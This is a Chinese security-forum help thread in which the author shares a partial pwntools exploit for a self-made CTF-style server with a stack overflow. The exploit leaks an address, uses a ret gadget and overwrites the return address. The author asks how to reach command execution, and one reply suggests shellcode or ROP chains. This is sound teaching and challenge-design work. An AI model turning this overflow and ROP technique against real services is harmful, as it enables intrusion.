首页
社区
课程
招聘
未解决 [求助] 尝试自己设计一个pwn题,但有些问题想不明白 50.00雪花
发表于: 2022-12-16 17:09 8486

未解决 [求助] 尝试自己设计一个pwn题,但有些问题想不明白 50.00雪花

2022-12-16 17:09
8486

server 是一个我自己设计的程序,它存在一个栈溢出漏洞,可以达到劫持代码流程的目的。
exp.py 是一个半成品的exp,可以跳转到功能4的函数。

 

我在想,当前条件下
1.是否可以执行任意命令?
2.是否可以进行回显?

 

我不确定当前条件是否能够达到这两点,因此请教下论坛里大佬们的意见。
如果可以,请给出思路;
如果不可以,需要补充什么条件,并且使得题目不那么突兀。

 

谢谢。

 

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import re
 
p=remote("192.168.220.165", 4444)
 
def user_login():
    p.recvuntil(b"username:")
    p.sendline(b"admin")
    p.recvuntil(b"password:")
    p.sendline(b"123456")
 
def view_configuration_file():
    p.recvuntil(b"option:")
    p.sendline(b"1")
 
def write_configuration_file():
    data=p.recvuntil(b"option:")
 
    filter=re.compile(b"conf.loadstr=0x(.*?)\n")
    res=filter.findall(data)
    if res and res[0]:
        addr_loadstr=int(res[-1], 16)
 
    p.sendline(b"2")
    p.recvuntil(b"cert_name:")
    p.sendline(b"abc")
    p.recvuntil(b"country:")
 
    #payload=b"cn"
    addr_fn4=0x3994-0x245B+addr_loadstr
    ret_gadget=0x3763-0x245B+addr_loadstr  #使用ret调整栈指针,避免执行system或者popen时 movaps指令报错
    ret_target_addr=addr_fn4
    payload=b"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa"+p64(ret_gadget)+p64(ret_target_addr)
    p.sendline(payload)
 
def view_debug_file():
    p.recvuntil(b"option:")
    p.sendline(b"3")
 
def view_memory_size():
    p.recvuntil(b"option:")
    p.sendline(b"4")
 
def exp():
    user_login()
    view_configuration_file()
    view_debug_file()
    write_configuration_file()
 
    p.interactive()
 
def main():
    exp()
 
if "__main__"==__name__:
    main()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 92
活跃值: (176)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
1. 如果程序没有开启NX保护,可以通过栈溢出注入shellcode,从而执行任意命令。
2. 如果程序没有开启ASLR保护,可以通过泄露栈地址,从而进行回显。
如果程序开启了保护机制,可以考虑增加ROP链的方式,从而达到执行任意命令的目的。同时,可以增加一个功能,让用户输入一个字符串,然后将其输出,从而达到回显的目的。
2023-3-24 22:53
0
游客
登录 | 注册 方可回帖
返回
//